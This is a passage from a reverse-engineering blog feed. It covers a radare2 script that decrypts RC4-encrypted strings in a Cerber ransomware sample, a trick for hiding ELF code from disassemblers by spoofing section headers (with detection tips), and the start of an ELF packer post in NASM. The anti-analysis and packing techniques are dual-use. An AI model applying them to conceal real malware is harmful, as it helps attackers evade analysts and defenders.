        &lt;span class="n"&gt;instr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;disassemble_instr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;inst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cur&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;found&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;instr&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;found&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;cur&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_prev_instr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;inst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cur&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cur&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;instr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We can see in the code above that the "push" instruction is an instruction of type "13" for radare2 analyzer. We loop until we find a push instruction, and return the decoded instruction through analyzer, along with address of that instruction, to allow us to walk the code backwards.&lt;/p&gt;
&lt;p&gt;So, to get our call parameters, we need to call three times our new "find_prev_push" function, which will return three "push" symbol instructions, and we'll able to fetch their values without hassle. We can now decode our strings, with
the code below:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;r2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;r_core&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;Crypto.Cipher.ARC4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;ARC4Cipher&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;pack&lt;/span&gt;


&lt;span class="c1"&gt;# Returns a RAsm&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;disassemble_instr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;inst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;inst&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;op_anal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="c1"&gt;# Hack because radare2 doesn&amp;#39;t expose API to find prev instruction in bindings&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;get_prev_instr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;inst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;addr&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;find_prev_push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;inst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;cur&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_prev_instr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;inst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;found&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;
    &lt;span class="n"&gt;instr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;found&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;instr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;disassemble_instr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;inst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cur&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;found&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;instr&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;found&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;cur&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_prev_instr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;inst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cur&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cur&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;instr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;process_xref&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;inst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;old&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;push&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;find_prev_push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;inst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;str_addr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;push&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;val&lt;/span&gt;
    &lt;span class="n"&gt;old&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;push&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;find_prev_push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;inst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;old&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;str_len&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;push&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;val&lt;/span&gt;
    &lt;span class="n"&gt;old&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;push&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;find_prev_push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;inst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;old&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;push&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;val&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;str_addr&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mh"&gt;0xffffffff&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;str_len&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mh"&gt;0xffffffff&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mh"&gt;0xffffffff&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Manual decoding required at 0x&lt;/span&gt;&lt;span class="si"&gt;%x&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;str_len&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Strange strlen found &lt;/span&gt;&lt;span class="si"&gt;%d&lt;/span&gt;&lt;span class="s2"&gt; at 0x&lt;/span&gt;&lt;span class="si"&gt;%x&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str_len&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt;
    &lt;span class="c1"&gt;# Issue a command to print our string as hex format since r2 doesn&amp;#39;t allow this&lt;/span&gt;
    &lt;span class="c1"&gt;# programmatically&lt;/span&gt;
    &lt;span class="n"&gt;ciph&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;inst&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cmd_str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;p8 &lt;/span&gt;&lt;span class="si"&gt;%d&lt;/span&gt;&lt;span class="s2"&gt; @0x&lt;/span&gt;&lt;span class="si"&gt;%x&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str_len&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;str_addr&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rstrip&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;ciph&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ciph&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rstrip&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;hex&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;deciph&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ARC4Cipher&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;I&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciph&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;%08x&lt;/span&gt;&lt;span class="se"&gt;\t&lt;/span&gt;&lt;span class="s2"&gt;| &lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;deciph&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="n"&gt;inst&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;r_core&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;RCore&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;inst&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;file_open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;macbook_tutorial.unpacked.exe&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;inst&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bin_load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x400000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Launch function analysis&lt;/span&gt;
&lt;span class="n"&gt;inst&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cmd0&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;af&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;inst&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cmd0&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;aar&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Gets our xrefs&lt;/span&gt;
&lt;span class="n"&gt;anal&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;inst&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;anal&lt;/span&gt;
&lt;span class="n"&gt;xrefs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;anal&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;xrefs_get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x408545&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# decryption func&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;xrefs&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;xref&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;xrefs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;process_xref&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;inst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;xref&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Limitations / Conclusion&lt;/h2&gt;
&lt;p&gt;As you may have seen in the code above, I added some checks because of weird behaviour that appeared in the real world: sometimes, interesting values are stored in registers and the register is pushed, leading to inconsistent values in what we fetch and decoding failure. Also, because of my dumb approach to grab previous instruction, some junk code is decoded as push, and we also get invalid decoding because of that. Learning how to use radare2 opcode emulation engine (ESIL ?) should solve most of the issues faced here.&lt;/p&gt;
&lt;p&gt;However, we can programmatically use radare2's power to do interesting things (such as binary unpacking/shellcode recognition/whatever, or maybe obfuscation cleanup !), and automate boring tasks.&lt;/p&gt;</content><category term="Reverse-engineering"/><category term="Malware"/><category term="Ransomware"/><category term="Cerber"/></entry><entry><title>Hiding code in ELF binary</title><link href="/hiding-code-in-elf-binary.html" rel="alternate"/><published>2013-12-11T19:59:00+01:00</published><updated>2013-12-11T19:59:00+01:00</updated><author><name>aaSSfxxx</name></author><id>tag:None,2013-12-11:/hiding-code-in-elf-binary.html</id><summary type="html">&lt;p&gt;Since I'm contributing to the &lt;a href="http://github.com/radare/radare2"&gt;radare2&lt;/a&gt;, I'm learning on how a disassembler works, and especially how ELF files are handled by disassemblers. I saw that almost (even every ?) disassemblers rely on ELF section headers (generally located at the end of the file), which has never used in reality (by Linux kernel or glibc) because ELF's mapping in memory is given by program header (another ELF structure, which I described in my &lt;a href="/making-elf-packer-for-fun-and-chocapicz.html"&gt;article about ELF packer&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;So, we can easily hide code from disassemblers by manipulating virtual address fields of the ".text" section structure. I'll use an hexadecimal editor and the latest git revision of radare2 (which fixes a bug related to virtual address calculation in ELF binary), so I recommend you to have those tools installed of your computer to continue the reading of this article.&lt;/p&gt;
</summary><content type="html">&lt;p&gt;Since I'm contributing to the &lt;a href="http://github.com/radare/radare2"&gt;radare2&lt;/a&gt;, I'm learning on how a disassembler works, and especially how ELF files are handled by disassemblers. I saw that almost (even every ?) disassemblers rely on ELF section headers (generally located at the end of the file), which has never used in reality (by Linux kernel or glibc) because ELF's mapping in memory is given by program header (another ELF structure, which I described in my &lt;a href="/making-elf-packer-for-fun-and-chocapicz.html"&gt;article about ELF packer&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;So, we can easily hide code from disassemblers by manipulating virtual address fields of the ".text" section structure. I'll use an hexadecimal editor and the latest git revision of radare2 (which fixes a bug related to virtual address calculation in ELF binary), so I recommend you to have those tools installed of your computer to continue the reading of this article.&lt;/p&gt;


&lt;h2&gt;The trick&lt;/h2&gt;
&lt;p&gt;First, let's start with the following code:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;You will never see me !&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The goal of this article is to make disassemblers believe that the entrypoint of the binary is the "foo" function (and not the _start function added by gcc).
First, let's compile the source code to work on the generated executable. Then we need to grab the offset of the "foo" symbol, by doing
&lt;code&gt;rabin2 -s | grep foo&lt;/code&gt; and note the offset of the symbol somewhere. Then we'll strip all symbols of the binary (to avoid corrupted disassembly in IDA) using the "strip" command on our binary.&lt;/p&gt;
&lt;p&gt;Then we need to retrieve the section offset in the binary which is located at offset 0x20 of the file (for 32-bit executables, I don't have 64bit system yet so please tell me if it still works). Then we use radare2 (and the tool rabin2) to have the index in the array of sections of section .text we'll spoof.&lt;/p&gt;
&lt;p&gt;So we execute &lt;code&gt;rabin2 -S a.out | grep .text&lt;/code&gt; and note the "idx" field somewhere. To find the section we just need to compute &lt;code&gt;section_offset + (idx+1)*0x28&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;0x28 is the size of a section header entry, and we need to add 1 to the idx we got from radare2 because it seems to ignore the null section at the beginning. Then go to the offset calculated above, and then modify the "sh_offset" of the Elf_Shdr structure (at offset 0x10 relative to the beginning of the structure). Don't forget that we work in little endian (x86) when you edit the binary in your hex editor ! Then save the program, execute it (it should show "You will never see me !") and when you'll try to disassemble it, you will see the disassembly of the foo function as the entry point !&lt;/p&gt;
&lt;h2&gt;What happened and how to detect it ?&lt;/h2&gt;
&lt;p&gt;As I said in the introduction, kernel relies on the program header table (which generally follows the ELF header) and map PT_LOAD program headers into memory (see my articles on ELF packer I wrote). So, section headers are totally optional in ELF binaries, and are just metadata, since everything dynamic linkers need to know are stored in program headers of type PT_DYNAMIC. So we can easily spoof almost any section header without impact on a program's execution, but disassemblers (even IDA ;)) will be fooled and will produce incoherent disassembly, because disassemblers rely on section headers, which are not reliable.&lt;/p&gt;
&lt;p&gt;Anyways, there are some ways to detect it. In almost binaries generated by compilers, virtual address usually have the same last digits of the offset. For exemple, 0x08048130 will match offset 0x130 in the file, or 0x0804956 can match offset 0x156. But with this manipulation we can see that offsets doesn't match at all virtual addresses, which can indicate that a binary was modified. Another way to detect it is to erase section header offset and size in the program header, which will force disassemblers (IDA and radare2 for instance) to rely on program headers for disassembly, or trying to fix section header manually.&lt;/p&gt;</content><category term="Hacking"/><category term="radare2"/><category term="C"/><category term="ELF"/></entry><entry><title>Making ELF packer for fun and chocapicz (part 2)</title><link href="/making-elf-packer-for-fun-and-chocapicz-part-2.html" rel="alternate"/><published>2013-05-17T14:34:00+02:00</published><updated>2013-05-17T14:34:00+02:00</updated><author><name>aaSSfxxx</name></author><id>tag:None,2013-05-17:/making-elf-packer-for-fun-and-chocapicz-part-2.html</id><summary type="html">&lt;p&gt;As promised, here is the second article about my ELF packer.&lt;br/&gt;
Here, I'll talk about dynamically-linked ELF (i.e. which has dependencies to ".so" modules), which is more tricky than the "basic" packer I showed before. The code is still NASM, and still under 32bit (feel free to rewrite the code to support 64-bit architecture ;))&lt;/p&gt;
</summary><content type="html">&lt;p&gt;As promised, here is the second article about my ELF packer.&lt;br /&gt;
Here, I'll talk about dynamically-linked ELF (i.e. which has dependencies to ".so" modules), which is more tricky than the "basic" packer I showed before. The code is still NASM, and still under 32bit (feel free to rewrite the code to support 64-bit architecture ;))&lt;/p&gt;


&lt;h2&gt;Loading ld-linux&lt;/h2&gt;
&lt;p&gt;The first step needed here is loading the dynamic linker itself (because our asm program is standalone, so we don't have dynamic linker loaded at this time). To know which dynamic linker we have to use, let's read the filename contained in the "PT_INTERP" section.&lt;br /&gt;
Once the linker filename got, we have to map it into memory (and here, we can do it directly by opening the file and using the file descriptor returned, no need to "emulate" mapping). But, we have to take care of the "bss" section, which has to be zeroed after mapping of data section (the bss section is located at the end of file, according to Linux kernel code).
I made a function which maps ld-linux.so into memory (quick and dirty code), and here is its code:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; This function (shortened to see the most interesting part) loads the interpreter into memory space&lt;/span&gt;
&lt;span class="nl"&gt;load_interp:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;esp&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;esp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;1ch&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; Zeroes some variables&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;
